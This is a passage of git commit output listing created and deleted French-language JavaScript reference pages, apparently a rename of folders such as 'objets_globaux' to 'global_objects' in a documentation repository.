files/fr/web/javascript/reference/global_objects/reflect/comparing_reflect_and_object_methods/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/construct/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/defineproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/deleteproperty/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/get/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/getownpropertydescriptor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/getprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/isextensible/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/ownkeys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/preventextensions/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/reflect/setprototypeof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@match/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@matchall/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@replace/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@search/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/@@split/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/compile/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/dotall/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/exec/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/flags/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/global/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/ignorecase/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/input/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/lastindex/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/lastmatch/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/lastparen/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/leftcontext/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/multiline/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/n/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/rightcontext/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/source/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/sticky/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/test/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/regexp/unicode/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/add/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/clear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/delete/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/entries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/foreach/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/size/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/set/values/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/sharedarraybuffer/bytelength/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/sharedarraybuffer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/sharedarraybuffer/slice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/anchor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/big/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/blink/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/bold/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/charat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/charcodeat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/codepointat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/concat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/endswith/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/fixed/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/fontcolor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/fontsize/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/fromcharcode/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/fromcodepoint/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/includes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/indexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/italics/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/lastindexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/length/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/link/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/localecompare/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/match/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/matchall/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/normalize/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/padend/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/padstart/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/raw/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/repeat/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/replace/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/replaceall/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/search/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/slice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/small/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/split/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/startswith/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/strike/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/sub/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/substr/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/substring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/sup/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/tolocalelowercase/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/tolocaleuppercase/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/tolowercase/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/touppercase/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/trim/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/trimend/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/trimstart/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/string/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/@@toprimitive/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/asynciterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/description/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/for/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/hasinstance/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/isconcatspreadable/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/keyfor/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/match/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/matchall/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/replace/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/search/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/split/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/toprimitive/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/tosource/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/tostringtag/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/unscopables/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/symbol/valueof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/syntaxerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/@@iterator/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/@@species/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/buffer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/bytelength/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/byteoffset/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/bytes_per_element/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/copywithin/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/entries/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/every/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/fill/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/filter/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/find/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/findindex/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/foreach/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/from/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/includes/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/indexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/join/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/keys/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/lastindexof/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/length/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/map/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/name/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/of/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/reduce/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/reduceright/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/reverse/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/slice/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/some/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/sort/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/subarray/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/tolocalestring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/tostring/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typedarray/values/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/typeerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/uint16array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/uint32array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/uint8array/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/uint8clampedarray/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/undefined/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/unescape/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/uneval/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/urierror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/clear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/delete/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/get/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakmap/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakset/add/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakset/clear/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakset/delete/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakset/has/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/weakset/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/compile/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/compileerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/compilestreaming/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/global/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/instance/exports/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/instance/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/instantiate/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/instantiatestreaming/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/linkerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/memory/buffer/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/memory/grow/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/memory/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/module/customsections/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/module/exports/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/module/imports/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/module/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/runtimeerror/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/table/get/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/table/grow/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/table/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/table/length/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/table/set/index.html create mode 100644 files/fr/web/javascript/reference/global_objects/webassembly/validate/index.html delete mode 100644 files/fr/web/javascript/reference/grammaire_lexicale/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/async_function/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/bloc/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/break/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/class/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/const/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/continue/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/debugger/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/default/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/do...while/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/export/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/for-await...of/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/for...in/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/for...of/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/for/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/function/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/function_star_/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/if...else/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/import.meta/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/import/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/label/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/let/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/return/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/switch/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/throw/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/try...catch/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/var/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/vide/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/while/index.html delete mode 100644 files/fr/web/javascript/reference/instructions/with/index.html create mode 100644 files/fr/web/javascript/reference/iteration_protocols/index.html delete mode 100644 files/fr/web/javascript/reference/les_protocoles_iteration/index.html create mode 100644 files/fr/web/javascript/reference/lexical_grammar/index.html delete mode 100644 "files/fr/web/javascript/reference/litt\303\251raux_gabarits/index.html" delete mode 100644 "files/fr/web/javascript/reference/mots_r\303\251serv\303\251s/index.html" delete mode 100644 files/fr/web/javascript/reference/objets_globaux/aggregateerror/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/@@iterator/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/@@unscopables/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/concat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/copywithin/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/entries/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/every/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/fill/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/filter/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/find/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/findindex/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/flat/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/flatmap/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/foreach/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/from/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/includes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/indexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/isarray/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/join/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/keys/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/lastindexof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/length/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/map/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/of/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/pop/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/push/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/shift/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/slice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/some/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/sort/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/splice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/unshift/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/array/values/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/@@species/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/bytelength/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/isview/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/arraybuffer/slice/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/asyncfunction/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/asyncfunction/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/add/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/and/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/compareexchange/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/exchange/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/islockfree/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/load/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/notify/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/or/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/store/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/bigint64array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/biguint64array/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/boolean/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/boolean/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/boolean/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/boolean/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/boolean/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/buffer/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/bytelength/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/byteoffset/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getbigint64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getbiguint64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getfloat32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getfloat64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getint16/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getint32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getint8/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getuint16/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getuint32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/getuint8/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setint16/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setint32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setint8/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setuint16/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setuint32/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/dataview/setuint8/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/@@toprimitive/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getdate/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getday/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getfullyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/gethours/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getmilliseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getminutes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getmonth/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/gettime/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/gettimezoneoffset/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcdate/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcday/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcfullyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutchours/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcmilliseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcminutes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcmonth/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getutcseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/getyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/now/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/parse/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setdate/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setfullyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/sethours/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setmilliseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setminutes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setmonth/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/settime/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcdate/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcfullyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutchours/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcmilliseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcminutes/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcmonth/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setutcseconds/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/setyear/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/todatestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/togmtstring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/toisostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tojson/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tolocaledatestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tolocalestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tolocaletimestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tosource/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/tostring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/totimestring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/toutcstring/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/utc/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/date/valueof/index.html delete mode 100644 files/fr/web/javascript/reference/objets_globaux/decodeuri/index.html delete mode 100644 